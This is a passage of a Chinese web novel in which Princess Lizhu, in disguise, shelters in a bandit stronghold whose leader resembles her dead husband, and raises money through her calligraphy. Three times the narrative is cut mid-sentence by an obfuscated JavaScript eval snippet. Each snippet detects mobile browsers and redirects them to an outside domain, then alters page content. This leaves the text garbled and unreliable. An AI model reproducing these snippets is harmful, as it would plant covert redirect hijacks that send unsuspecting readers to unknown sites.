一室之内,看不见帛书典籍。 倒是有极其华美精致的漆案、妆台、屏风,虽不成套,却将一间算不上大的寝居塞得满满当当,金光灿灿。 隔了好一会儿。 呆坐榻上的骊珠突然回想起来。 夜袭、追杀、红叶、死尸,还有…… 那个与裴胤之长得一模一样的匪首。 他说,他叫裴照野。 骊珠霍然起身。 顾不得浑身酸痛和腿上未愈的剑伤,她匆忙下榻,发现自己的衣衫也被人动过,换了一身干净馨香的新衣。 然而此刻已顾不上这点小问题。 衣架子上挂了一套裙袍,骊珠稀里糊涂地穿好,拿起不知是谁放在门边的拐杖,拉开房门。 “长君!你怎么在这里!” 骊珠简直不敢相信自己的眼睛。 长君居然被人捆在廊庑下的柱子上! 她连忙上去给他解开绳索: “谁捆的你!?你的伤……” “真是一群无耻匪贼!” 长君扯掉缚住他嘴巴的布条,怒叱道: “他们居然说您是他们未来的山主夫人,不让我进您的房间,还把我捆在这里一整夜!” 长君虽中了箭,但并未失血太多,因此伤势比骊珠轻一些。 昨夜拔了箭头,包扎好伤,便马不停蹄就来寻骊珠。 谁料刚到骊珠房门外,就见那三人一起出来,那个叫丹朱的女子二话不说就将他捆了! “公主,此地乃匪贼老巢,不宜久留……” 骊珠张望了一下,见天色未明,四下无人,拉着长君回到内室。 阖上门,骊珠沉吟片刻,正色道: “我们恐怕走不了。” 长君急道:“为何?那匪贼色胆包天,我昨夜来时见到有人搬酒,怕是真准备办婚宴呢!” 他本以为公主会吓得花容失色,却不料她只是愣了一下。 随后她眨了眨眼,神情似好奇又似期待: “他来真的啊……” “公主!您知道事情的严重性吗!”长君大惊。 “哦哦,知道的知道的。” 骊珠正色道: “不过,但凡匪寨,从山上到山下,必设重重岗哨关卡,你现在伤势未愈,我伤了腿也是个拖累,没有山主的首肯,我们出不了这座红叶寨,这是其一。” 长君冷静几分。 “其二,我觉得,那位山主不是不通情理的人,你昏迷的时候,他分明就已经默许了要送我们下山的事,现在我们贸然自行逃跑,反生事端。” “还有一点,方渐跟他的手下虽死,但两日过去,我遇袭之事必定已经传开——至少在伊陵和宛郡的官员中不会是个秘密——覃氏为了大局,很可能不会营救我,只会确保我死得干脆利落,保全皇后。” 听到这里,小宦官的脸色已经惨白如纸。 公主身边现在只有他一人,要是真出了什么事,他万死难辞其咎。 “那……公主,我们接下来……” 骊珠食指抵唇: “嘘——出了这个门,记得叫我沈娘子。” 长君点头如捣蒜。 “先探探这个红叶寨的虚实吧,虽为匪贼……但也正因是匪贼,还被皇后选为杀我的替死鬼,所以他们绝不会与覃氏串连,说不定,眼下是我们唯一可靠的盟友了。” 听了骊珠的话,长君也似回过味,紧绷的身躯一松。 如此说来,目前这红叶寨对他们来说,还是最好的藏身养伤之地。 “既然公主心中拿定了主意,长君单凭公主吩咐。” “好,”骊珠面色肃然,“你先替我挽发,玄英不在,我不会梳头。” “……” 趁着长君替她梳头挽发的间隙,两人凑在一起,对了番口供,把雒阳药商沈氏之女的身份编得更像样了些。 梳洗妥当,两人出了门。 穿过门外一株银杏树,骊珠与长君一前一后,走过吱嘎作响的木桥。 两人都久居深宫,最远也只是去上林苑赏景狩猎,虽说皇家园囿宫宇宏丽,景色怡人,但看久了也就无非是那些人工雕琢的山水。 虞山却又是一番面貌。 山间晨光柔亮,穿过翠绿、浅金、赤红层叠交错的红枫,洒在沉满红叶的溪涧上。 不经雕琢的自然风光,别有一番天然清新之美。 长君道:“那边果然有岗哨,公……娘子,我去问问他们山主在哪儿。” 骊珠点点头。 长君去打听的时候,她就站在桥边赏景。 然而站了一会儿,骊珠忽而觉得有些不太对劲。 林中各处的山匪们,站岗的,搬东西的,练武的,坐在石阶上歇息的,不知为何,都忽而安静下来,朝她投来分外灼热的目光。 骊珠从没被这么多双眼睛直视过,背后汗毛倒竖。 “……长君,是不是你给我梳的发式太奇怪了?玄英就说你手笨,平日不让你梳,早知道让你多跟着她们学学了!” 折返回来的长君环顾一周,有点无奈道: “娘子,这不是梳什么发式的问题,就算您剃了头,头顶一根头发也没有,这群无礼的泥腿子还是会这样盯着您看!” 骊珠忙往长君身后缩。 长君挡在骊珠身前,如老母鸡护着小鸡,螃蟹似的往前方腾挪,将那些别有用心的目光逐一瞪回去。 “看什么看!再看把你们眼珠子挖下来!” 十七岁的小宦官沉下嗓音呵斥。 众匪非但没被他吓唬到,反而嘻嘻哈哈笑成一片。 “小郎君,男子汉大丈夫,你说话怎么跟夹着腚一样!” 骊珠腾地一下冒出一肚子怒火。 就在这时,山坡上方,依山而建的一间小楼里响起一个笑吟吟的嗓音: “看什么呢?” 小桥四周的哄笑声渐熄。 红叶掩映后,隐约有一个苍蓝色的身影,徐徐道: “再看,把你们眼珠子挖下来。” 这下林子里彻底静了。 那些压在自己身上的目光瞬间散去,骊珠抬起头,隔着深深浅浅的红叶,他在看她。 “都说成婚前,新郎新娘见面不吉利,小娘子怎么自己过来了?” 略带上扬的尾音里有戏谑的调笑。 骊珠恍惚了一下。 今日身体好转几分,耳鸣声消,几乎是在听到这个嗓音的一瞬间,骊珠便忍不住喉间一酸。 自他死后,人间两度春秋,她以为自己此生再不能见他一面。 “……我有话跟你说。” 她声音温软得有些好欺,没有半分被陌生男子调戏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895870|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恼怒。 小楼上的人静了静。 她的反应总是在他的意料之外。 “行。”他又道,“你先站那儿等会儿。” 没多久,山坡上来了两人,抬着一架竹子绑扎而成的肩舆来接骊珠。 其中一人谄媚道: “山主说夫人伤了腿,心疼夫人走山路,特派我们来接。” “胡说八道,什么夫人!” 长君厌恶这些人言语轻佻,故意端起架子,挑剔又嫌弃地扫了眼他们的竹肩舆。 公主出门时坐的可是六马并驾的金根车! “这么粗糙简陋的竹轿子,也配来接我们娘子……” “辛苦你们了。” 骊珠高高兴兴地坐了上去。 长君:!!! “娘子!” 骊珠无辜地眨眨眼:“可是我的腿真的很疼。” 长君拿公主没办法,只好对着抬肩舆的两人横眉冷眼道: “抬稳点,要是颠着我家娘子,小心你们的脑袋!” 竹肩舆吱嘎吱嘎,往山顶上去。 骊珠其实并不在意这些轿撵到底黄金做的,还是竹子做的。 这些身外之物,最重要的是能服务于人,要是帮不上忙,还反过来而主人添麻烦,再华贵也是祸患。 天子的金根车如是。 她的驸马亦如是。 至山坡顶,天光渐亮,秋色更浓,枫叶与银杏层层叠叠铺满地。 那个熟悉的高大身影正站在小楼前的院子里,抚着一盆兰草的叶片。 英俊侧脸与梦中人重合,只是要更年轻许多。 骊珠仿佛又看到了昔日光景。 前世的他也时常端详她书房里的兰花。 那时骊珠瞧见,暗暗记下,待他次年生辰,特意送了他一盆价值千金的白兰,他果然欢喜,视若珍宝,日日亲自擦拭叶片。 世人都说,覃珣是雒阳城内的潇潇君子兰。 但在骊珠心中,她的夫君才是品性高洁、出尘脱俗的兰草。 骊珠眼眶又瞬间蓄满了眼泪。 不管他是叫裴胤之,还是叫裴照野,她只知道,眼前人就是她的夫君。 曾为她亲赴边关,免她远嫁之苦。 也曾赠她权柄,平她少年不平之事。 肩舆落地,骊珠拄着拐杖,朝他缓缓走去。 “……谁把这盆韭菜摆在这儿的?” 食指轻弹了一下兰花叶片,裴照野挑眉问。 “山主,这可不是韭菜,这是昨日从漕船上搬下来的。” 手下人道: “二当家说,栽它的这个花盆至少都值一金,那个娇娘子再富贵,也不会拿这么贵的花盆种韭菜啊,肯定是什么金贵的花草……” 漕船上搬下来的,那定是带给裴胤之的东西了。 “有什么金贵的,这不跟韭菜一模一样?” 裴照野冷嗤一声: “把这破韭菜拔了……拿去膳房做道韭菜炒蛋,花盆留着,随便养点大红大紫的花,不比韭菜好看?” 有钱人家的大小姐也没什么品味嘛,几根韭菜也当成宝。 咚——! 一根飞来的拐杖砸在裴照野的脚边。 “什么人!”手下人惊得拔刀。 裴照野慢吞吞掀起眼帘。 山间秋色绚烂,红得灼眼,愈发衬得少女容颜雪白,乌发如漆。 她就站在那样浓烈的背景里,一双浓黑的眼瞪得很圆,不知为何怒气冲冲,又…… 丽得惊人。 10.第 10 章 裴照野第一眼见她,就知道她是个美人。 只是没料到会漂亮成这样。 人间早已深秋天,她站在那儿,却像姹紫嫣红的春色一路灼灼延烧到他眼里。 “准头这么差,应该走近一点再扔,要不要再试一次?” 裴照野拾起地上的拐杖,在指尖轻巧地转了一圈,拎着拐杖的年轻匪首笑吟吟地朝他们越走越近。 ……好强的压迫感。 长君不自觉地咽了口唾沫。 同是练家子,他看得出此人姿态虽散漫,但步伐极稳,虎背蜂腰,爆发力更不会弱。 这种人,不动则已,动起来便如猛虎豺狼,寻常人难以招架。 长君如临大敌地挡在骊珠身前,忍不住侧头压低声音问: “娘子怎么突然发怒?之前不是说大局为重吗?他们人多势众,长君一人恐怕难以应付!” 他刚才还担心公主被这泥腿子的小恩小惠打动。 没想到一转头,公主竟毫无征兆地发了这么大的火。 关键是,为什么啊? 骊珠没法回答他。 这件事真论起来,也并不是什么大事。 前世他从没说过自己喜欢兰花,只是她暗自揣测,误以为他喜欢而已……可他分明可以解释啊。 就像骊珠过去做的那样: “虽然我不常用这些脂粉,但只要是胤之送我的,我都喜欢,你真好。” 之后再送礼物时,他便知道要投其所好,送文房墨宝,古籍名画,如此,两人都皆大欢喜。 ——这些话难道很难说出口吗? 如果连这种小事都对她如此隐瞒,他还瞒着她多少事,她都不敢想! 脚踏落叶的沙沙声响停在长君面前。 比长君足足高出一个肩的男子,用手里的拐杖不轻不重地把他拨到了一边去。 “好心好意救了你,给你治了伤,还派轿撵接你上来,结果你二话不说就想拿拐杖砸我,小娘子,你脾气很燥啊。” 他在寨子内似乎并不戴那副面具。 锐意勃发的面庞上只系了一根红抹额,他肤色冷白,衬得那抹额愈发鲜艳,红得像是吸饱了一整个秋天的颜色。 骊珠垂眸,伸手去接他递来的拐杖,却发现他压根没有松手的意思。 长君一口气悬到了嗓子眼,虎口捏紧剑鞘。 然而骊珠的表情却很静。 “……我没拿稳,不是故意的。”她理直气壮。 裴照野看了她一会儿,眼里有费解的情绪。 蓦地笑了一下。 他垂眸看着骊珠那只紧握拐杖的手,问身后的手下: “仇二,我是不是最近脾气好过头了,居然连一个养在深闺的娇娘子都不怕我?” 仇二讪讪不敢接话。 “……山主胸襟宽广,行事自有一套章法,不是那些只知打杀掠夺的山野莽夫,我如今与山主同仇敌忾,是一条绳上的蚂蚱,为何要怕你?” 抬起眼帘,骊珠坦然迎上他的审视。 “同仇敌忾?”裴照野的态度模棱两可,好像不知道她在说什么。 骊珠偏头看他:“昨日追杀我的那些人,山主可有调查过?” “我为什么要调查他们?”裴照野笑,“那些人要杀的是你,又不是我,跟我有什么关系?” 骊珠见他无动于衷,语气变得强硬几分,握着拐杖的手将他往自己这边拖。 “你就没想过他们为什么会选在这里动手?” 裴照野没抵抗,由着她拉。 “虞山四面环水,水系复杂,选在这种荒郊野外下手,很合理,很正常。” “你难道看不出他们是想栽赃给红叶寨?” “看不出,”他很无所谓的样子,“就算栽赃给我们又如何?杀个把富家小姐的寻常小案,你真以为官府会兴师动众闯虞山?” “这怎么会是寻常小案,我……”骊珠的声音戛然而止。 然而下一刻,对方却忽然如蛇一般顺杆而上,锐利目光似要将她整个人剥开。 “不是寻常小案是什么?小娘子,莫非你有什么不得了的身份,还是背后牵扯了什么秘辛?” ……可恶! 骊珠这才发现他完全是以退为进,等着诈她的话呢! 从前她觉得她的驸马聪慧过人,然而这等聪慧用在自己身上,她才突然发现他聪慧下的狡猾奸诈。 她是清河公主这件事,不可轻易泄露。 无论她有多信任曾经的裴胤之,但眼前这个人,如今还有一个虞山红叶寨山主的身份。 一旦他发现自己抓的不是什么富商之女,而是深受帝恩的公主—— 骊珠无法预判他会有怎样的行动,也不准备让自己置身这样的被动中。 “我不叫小娘子。” 骊珠微嗔,盯着他一字一顿道: “我叫沈骊珠,探骊得珠的骊珠。” 裴照野摸了摸下颌,端详她的神情: “真名还是假名?” 知晓清河公主名讳的人,全天下不超过十个,沈氏更是大姓,即便在雒阳的平民百姓中也一抓一大把,骊珠并不怕他联想到什么。 她很不屑地冷哼一声: “我行得端做得正,不是需要用假名遮遮掩掩的那等宵小。” 裴照野眉梢一挑。 虽然不知道她为何会如此阴阳怪气,但那个宵小,貌似意有所指。 正当他想说点什么时,一阵余音绕梁、久久才绝的腹鸣声打断了他的话头。 方才还与他气势旗鼓相当的少女,在他的注视下,白皙如玉的面庞一点点变成粉色。 他忍俊不禁地瞧着她:“饿了?” “……” 怎么偏这个时候肚子叫,这叫她怎么继续谈判? 还没等骊珠调整好心态,装作若无其事地继续说下去,裴照野已经松开握着拐杖的手。 他偏头勾勾食指,对名叫仇二的手下道: “让膳房送点吃的来。” 还抱着那盆兰花的仇二看了看骊珠,又看了看自家山主,犹豫了一下。 “那韭菜炒蛋,还炒……” 他笑着转过头。 “炒啊,和你的蠢脑子一块炒如何?” 仇二放下花盆,退下得飞快。 不多时,膳房送来了菜肴,虽不如宫中饮□□细,但尝了一口,味道比骊珠之前想象得要好很多。 她抬眸瞥了眼对面食案前的裴照野。 方才那个话题是不能继续下去了,真要被他抓住端倪,追问出更多疑点,身份就瞒不住了。 她得先乱他的阵脚。 “……你之前,为什么要说裴胤之是……撮鸟?你认识他吗?” 执竹著的手一顿。 “你还姓裴,”骊珠眨眨眼,“你与他是什么关系啊?” 裴照野展颜一笑:“我是他爹。” 骊珠:“……” 长君愤然捂住骊珠耳朵。 “市井粗话,安敢辱娘子之耳!” 昨日更粗的话她都听了,这点倒不算什么。 “好啦好啦,没关系的。”骊珠握着长君的手,移开。 裴照野的目光从两人交叠的手上淡淡扫过。 骊珠对他道: “你胡言乱语也没用,此事不难猜,你与裴胤之同姓,又与他交恶,必定是裴家某个不受重视的旁支,被族中不容,这才落草为寇,是或不是?” 裴照野只顾夹菜,不置可否。 “你也根本不想娶我做什么山主夫人,只是担心我下了山,见了裴胤之,与他联起手来报复你们红叶寨,对不对?” 骊珠觉得自己分析得很有道理。 伊陵裴氏再是没落寒门,族内扒拉扒拉,总能找出几个做官的亲戚。 别管官大官小,当匪贼的,哪有不怕做官的? 对面的年轻匪首握着筷子,指节抵着颊侧,似笑非笑地看着她认真分析的样子。 “是啊,”他悠悠道,“我可太怕了。” “你放心,就算我下了山,也不会报官抓你们,你救了我,我又岂是恩将仇报的人?” 她状似诚恳,眼珠滴溜溜一转: “实在不信我,我也不急着下山,只要你替我寻到我的亲随,就算留在这里一个月,两个月,我都不介意的。” 他头也不抬地挑菜: “想借我的地盘避祸,还想让我帮你找人,你这算盘倒是打得挺响。” 被他一语道破心思,骊珠也不装了。 “我一个弱女子,这一路先是与亲随走散,又被人谋财害命,现下无依无靠,生死都在山主一念之间,替自己做打算,何错之有?” “山主要是觉得自己吃亏,我可用性命担保,若我平安归家,定当重金酬谢山主。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900042|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴照野:“空口画饼,没意思,我还是喜欢实际一点的。” “……你都把我船上的财货都抢走了,这还不够实际吗!” 骊珠怒而放下筷子。 “那不算,我凭本事抢到的东西,只能算我救你一命的谢礼,我们红叶寨虽说图财不图色,但你既然已身无分文,又有求于我们,那就只有……” “慢着慢着。”骊珠一脸倔强,镇定道,“谁说我身无分文?” 约莫两刻后。 二当家顾秉安,三当家丹朱,还有一众跑来热闹的山匪,都聚集在了山主的小楼外。 听闻昨日救下的那位小娘子,要凭空变出五十金给山主,许多人都想来瞧瞧是怎么回事。 然而到了小楼外,没瞧见开坛做法,倒瞧见那小娘子好大的气派。 院子里铺了菖蒲席子,摆了漆木书案,案上博山炉香风袅袅,那小娘子身边的瘦小侍卫端坐在侧,正一丝不苟地替她研墨。 “说好了,只要我能变出五十金,就替我去寻跟我走散的亲随。” 裴照野点了点下颌: “你先变出来再说。” 骊珠抬眸瞧了眼顾秉安。 听说漕船上那一箱子文房没人要,都在他手中,看来整个寨子里,估计也就这个穷酸书生是个识货的。 还好有个能识货的人。 深吸一口气,骊珠摈弃周围的杂音,凝神静气地在丝帛上落笔。 顾秉安原本只是来送文房,顺道看看热闹。 骊珠刚落笔写出第一个字的时候,他心中暗道: 这小娘子虽为深闺女子,但起笔便张弛有度,倒比一些老儒生还要从容。 待她写完第一列,顾秉安看出了她写的是一篇赋文,而且是名篇《燕都赋》。 这篇赋文乃当今大儒谢稽父亲谢润的少年之作。 赋中写尽南雍百姓流离失所,仓皇南下,北望十一州的悲痛,以及一心收复北地的少年豪情。 不仅文辞恢弘华丽,荡气回肠,且字体穷灵尽妙,点划之间,莫不调畅。 丹朱用手肘怼了怼他: “你懂门道,你觉得她写得如何?” 顾秉安只大略扫了一眼,便道: “这一篇,一贯是习字者必练的佳作,天下模仿者不计其数,要靠这篇字赚五十金,只怕连丝帛的花费都赚不回来。” 裴照野却没看字。 悬腕控笔的少女异常专注,额角浸出了薄薄的汗,然而自幼练出的仪态却没有丝毫变化。 微微低垂的脖颈,纤细流丽的皓腕。 从她笔下,有秀美字迹流淌而出,气定神闲的模样不似凡人,倒像是墨香化作的仙子,出尘绝俗,不染纤尘。 骊珠撂下笔。 “顾二当家,”她对顾秉安笑了笑,“这副字值不值钱,还请您来评判一二吧。” 顾秉安从人群后走近。 凝神看了三息的功夫,他抬起头。 “你是谢润本人?” 骊珠眨眨眼:“我有那么老吗?” 可这分明比市面上任何一间书肆流传的《燕都赋》,都更有谢公的风骨啊! 顾秉安左看右看,摇摇头: “若非我亲自看着你写出来的,只怕说这是谢公亲笔我都相信,真拿去外面书肆,莫说五十金,只怕一百金也有人买。” 那是自然,谢公亲笔的《燕都赋》就悬在她殿内,前世她都不知临了多少遍。 谢公或许都不能再写出一模一样的《燕都赋》,但是她能。 理好衣袖,骊珠坐直了些,扭头笑盈盈看向裴照野。 “你的二当家都说了,这幅字值钱的,你可不许抵赖……” 话说到一半,身旁独属于男子的气息贴着她身侧。 他靠得很近,从他肩头滑落的细辫垂下的赤金环扣摇摇晃晃,荡开一缕清凉的薄荷香。 然而他的体温却是灼热的。 烫得人连呼吸都不自觉加速。 他拎着丝帛,看了好一会儿,才挪开视线,垂眸盯着骊珠的脸道: “放心,我从不食言。” 骊珠的笑意忽而凝固。 她放不了心。 方才那一个眼神。 从她手上再到脸上这么一扫。 她便知道,现在倒是无需担心他动杀心了,因为—— 他动的是色.心。 11.第 11 章 戌时,繁星照夜。 长君刚给骊珠铺好床,就见散了发的小公主一头扎进了被子里,哼哼唧唧地不知道在骂什么,一边骂还一边捶床。 长君忍不住笑: “公主是在骂那个山主?他何处惹恼了公主,不如告诉长君,长君和您一起骂。” “……我讨厌他今日看我的眼神!” 骊珠气恼地直起身。 当年两人成婚,她恼他不提前知会自己,就直接在大殿上仗着军功请旨赐婚。 所以,婚后好长一段时间,骊珠都没有让他上榻。 白日他是权倾朝野的裴党领袖,夜晚他卧在公主榻下,连沾一沾床榻的资格都没有。 他却不恼,整日春风满面,变着花样逗骊珠开心。 骊珠的心一日日软下去。 不知从什么时候开始,他不必再睡地上,骊珠脸上的笑意也越来越多。 她印象中的夫君,分明就是这样一个坐怀不乱,温柔守礼的君子。 然而今天白日里她与他对视的那一眼—— 骊珠对那种眼神再敏感不过。 从前她在书房里手把手教他练字,每次练不到半个时辰,他的心思便不在笔墨上。 一会儿怜她站得太累,让她坐他腿上。 一会儿说她脸上沾了墨汁,要帮她擦擦。 再然后,他的手就不知为何探进了她的衣襟里,两丸乌眸黑沉沉地盯着她,将她一整个吞进他的眸底。 ……可那时两人已成夫妻。 现在他们才见过几面! 他脑子里都在想什么呢! 等了一会儿没等到长君的附和,骊珠偏头看他。 “你怎么不和我一起骂?” “嗯……”长君面含难色,低声道,“其实,长君觉得这个山主虽然偶尔言语轻浮,却并不是那等下流无耻之徒。” 试了试水温,长君搬来水盆,服侍公主洗脚。 小宦官在灯下低垂着眼: “公主是锦绣堆里的明珠,宫中贵人再工于心计,跟这些泥脚杆子的野蛮愚昧也是不能比的——长君幼时家中遭难,那些或是充为军妓,或是刺配流放的女眷经历了什么,说出来都怕惊了公主安寝。” 骊珠面上怒意渐消,安静地瞧着长君。 “公主从前身份尊贵,人人待公主都和蔼可亲,现在公主落难,无依无靠,自然处处见到的都是人心最险恶之处。” “不过,这种事,有时候也是论迹不论心,到了最险恶之处,还能好.色而不淫,也算君子了,公主觉得呢?” 长君抬起头,被骊珠捧着脸胡乱揉了一通。 “长君说得都对,看在长君的面子上,我就大人不记小人过吧。” 小宦官被她捏得咿咿呀呀叫。 “不过,有一句你说反了。” 待长君准备回房时,躺下的骊珠迷迷糊糊地嘟囔: “那些身居高位的贵人……坏起来才是真正的恶贯满盈呢。” 长君愣了愣,复而无奈摇头。 公主真是天真心善。 吹熄灯烛,他悄然退出,阖上了门。 - 却说另一头的山顶小楼,灯火通明。 午后离山的顾秉安返回虞山,直奔小楼而去。 “……张长史与刘户曹都开了价,最高出到了一百五十金,孟掌柜说还有得加,让我再等一天,兴许能加到两百金。” 内室悬着三盏白骨灯,照得四下亮堂堂的。 裴照野翘着腿,在烛光下细细端详那卷《燕都赋》,闻言笑了笑: “不止,既然你说这篇《燕都赋》写得几乎能以假乱真,我看再给孟掌柜一点时间,价格还能再往上抬。” 顾秉安不解:“两百金已经够多的了,就算是真品,只怕再多也不能多到哪里去。” “真不真重要吗?你当他买回去自己鉴赏?” 裴照野面含笑意,眼却是冷的: “哪怕他三百金买回去,办个书会,自有人捧着三千金从他手里买这卷《燕都赋》,不论真假。” 顾秉安这才拐过弯来。 户曹掌户籍、徭役、农桑,尽皆实权。 想贿赂他而没有门路的人,下至想逃徭役的平头百姓,上至想瞒报户籍的豪门华宗,不计其数。 “这些奸官污吏!”顾秉安拍桌而起,“南雍坏就在这些蛀虫的手里了!” 他来回踱步,边走边骂。 “旁的也就罢了,这《燕都赋》正是悲百姓之苦,悼边关战士,期望朝廷上下合力同心,收复失地的名篇,这些人竟想用这个来行贿赂之事,简直可耻!” “如此下去,我南雍灭亡之日不远矣!” 顾秉安悲愤难平,裴照野却神色如常,撑着额角平静道: “这些话听得我耳朵都茧了,歇歇吧,亡不亡跟你一个小吏没什么关系,哦,我忘了,你现在连小吏都没得当了。” “家国存亡,匹夫有责!” 裴照野拍了拍他的肩道: “你最好还是盼着南雍早点亡吧,它要是不亡,就该你这个贼匪亡了。” “……” 顾秉安放弃与他继续这个话题。 “对了,差点被您气得忘了要事。” 一拍脑门,顾秉安终于想起来: “今日下山,咱们安插在裴府的人来报,说昨日有几个陌生人出入裴府,查了查,不是伊陵郡本地人,而后,裴家二伯去了趟官署——您猜,他去做什么了?” “还能去做什么,”裴照野道,“去见他那个做都尉的岳父,让他帮忙寻他儿子失踪的未婚妻。” 顾秉安直起身,意味深长道:“您只说对了一半。” 裴照野掀起眼帘。 “裴家二伯的确是去见了都尉,那位都尉大人也的确派了人去伊陵郡各个渡口,不过,那些差役领的命却不是寻人,而是——” “抓人?” “没错。” 裴照野眼中有了几分玩味:“她在撒谎。” 仿佛知道裴照野要问什么,顾秉安道: “那几个去裴府的生人,都派人跟着呢,不过不敢跟太紧,怕打草惊蛇,山主……要亲自去一趟吗?” 裴照野拂过案上柔软细腻的丝帛,轻飘飘道: “自然,若是个烫手山芋,不如趁早丢开,或许还能卖个好价钱呢。” 烫手山芋? 顾秉安品了品这话的意思,若有所思。 难不成那位沈娘子,有什么不为人知的秘密? - “……沈娘子来啦!给你占了位,坐这里!” 翌日一早,骊珠刚刚在引路人的带领下跨进内室,就听三当家丹朱的嘹亮嗓音响起。 一抬头,发现原本吵吵嚷嚷的屋子静了下来,又有数十道目光齐刷刷落在了骊珠身上。 她瞬间头皮发麻。 头也不敢抬,骊珠拄着拐棍颠颠冲到了丹朱身边,这才感觉到那些沉默又极具穿透力的视线逐渐散去。 丹朱热情地拉着她坐下。 “这是咱们红叶寨的食舍,平时辰时、午时、酉时还有子时,都有吃的,不过你得来早点,这些全都是饿鬼托生的大肚汉,牛饮马食起来,轮到你就剩一点汤水了……你好香啊,用的什么香膏,这么香!” “没、没什么特别的,就是一些寻常澡豆……” 被丹朱拎着后衣领猛吸的骊珠瑟缩了一下。 这山寨怎么连女子也是一副流氓做派啊! “怎么不见你们山主?”长君问。 “山主啊,说是有事,今早一大早便下山去了。” 一听裴照野不在,骊珠的心思又开始活泛起来。 “丹朱姐,”她偏头,冲丹朱眨眨眼道,“你与山主认识多久了啊?” “差不多三年了吧。” 她掰了掰手指头,点点头: “明昭十七年建的寨子,到如今正好三年。” 骊珠记得,明昭二十三年,裴胤之入仕。 如今是明昭十九年,也就是说,还有四年,裴照野会离开红叶寨,以裴胤之这个身份撑起裴氏门楣。 红叶寨呢? 为何她前世从未听说过这个寨子,更没有从裴胤之口中听过半点蛛丝马迹? “那……你们平日里,真的就在这虞山附近,不纳王租,占山为王,以劫掠为生?” 此话一出,周围不少人纷纷投来目光。 许是知道自己这话冒犯,骊珠又忙道: “我并非要指责你们,我知道,如今世道不好,你们落草为寇自有苦衷,只不过做匪贼毕竟是刀口舔血的日子……你们可有想过,今后怎么办?” “今后?” 一名络腮胡汉子哼笑一声。 “做贼的有今日没明日,管它这那的,俺只知在这儿大口吃肉大碗喝酒,不受那等鸟气就是爽!” 骊珠被这人的大嗓门吓了一跳,不自觉往丹朱的方向挪。 她硬着头皮道: “各位好汉,大好年华,又是一身力气,这般消磨青春岂不辜负?如今南雍与北越摩擦频频,不日就会开战,倒不如投身从戎……” “从戎?从它个鸟蛋!” 丹朱旁边又有一人扯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907972|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子道: “我就是从军中逃出来的,还不知道那些军官什么德行?白花花的军饷都被那帮人一层层筛得连点渣都不剩,前年乌桓在朔州作乱,上阵的甲胄还得自己贴钱!” “我倒盼着北越军早日渡江,这皇帝谁当不是当?说不定在北越的皇帝手底下,日子还能松快点呢!” 此言一出,附和者众。 竟都开始纷纷畅想起做北越子民的美梦。 骊珠原本被这些人的大嗓门吓得不敢吭声,可一听这话,又不知何处来的勇气,怒而出声: “痴心妄想!” 嬉笑喧闹的众人看向她。 “诸位可知北地十一州的南雍百姓,过的是什么日子?北越帝要买乌桓人的马匹,赋税已加到十税一;民间为搜罗女子送往乌桓,更是凭空捏造无数冤假错案,降良人以为奴!” “你们以为只是换个皇帝的事,殊不知北越帝与虎谋皮,迟早引狼入室,到那时,你们真以为有好日子过?无论南人还是北人,都不过是乌桓人铁蹄下的亡魂与奴仆罢了!” 说完这一番话,骊珠已是气喘吁吁,面红耳赤。 放下筷子,她霍然起身。 “长君,我们走,我不与一室懦夫同食!” 满堂寂静。 顾秉安与其他山匪一道无言目送着那道气势汹汹的背影离开。 待出了门,长君才回过神来。 他大为震撼地感叹: “娘子今日真是气势如虹,威风凛凛……” “别啰嗦了。” 拄着拐棍的骊珠简直快蹦起来,催促道: “走快点!我怕他们追出来揍我!” 长君:…… 因为害怕被揍,自朝食过后,连着午时和酉时两顿饭,她都没敢去食舍。 骊珠想,等裴照野回来就好了。 可她与长君在屋子里大眼瞪小眼的等了半日,也没等到裴照野回来的消息。 骊珠饿得前胸贴后背,只好让长君瞧着什么时候人少,去食舍给她偷偷捎一份出来。 她自己不敢在屋子里独自待着,便去寨子门口等裴照野。 只是没想到,先等来的是那个跟在裴照野身边的顾二当家。 “沈娘子在这里,是在等山主回来?” 顾秉安笑道: “那个小侍卫,我让他留在食舍安心吃了,这一盒是给沈娘子带的,放心,我已警告过他们,山主亲口说你是未来的山主夫人,他们不敢对你动手的。” 听到他后半句,骊珠稍稍放下戒心。 她收下食盒,道了声谢,却不急着吃饭,而是昂着脸问: “你们山主什么时候回来啊?” 顾秉安沉默了一下。 他心道你最好还是别盼着他早归,真要是回来,说不准就把你卖了。 “……不清楚,快的话或许今夜,慢的话,明日后日也不是不可能。” 骊珠显然有点失落地点点头。 “那好吧,我就在这里等他。” “山间晚上露水重,有什么事,沈娘子还是回去等吧。” 她望着他:“谢谢你。” 但并没有离开的意思。 顾秉安无法,只能随她去。 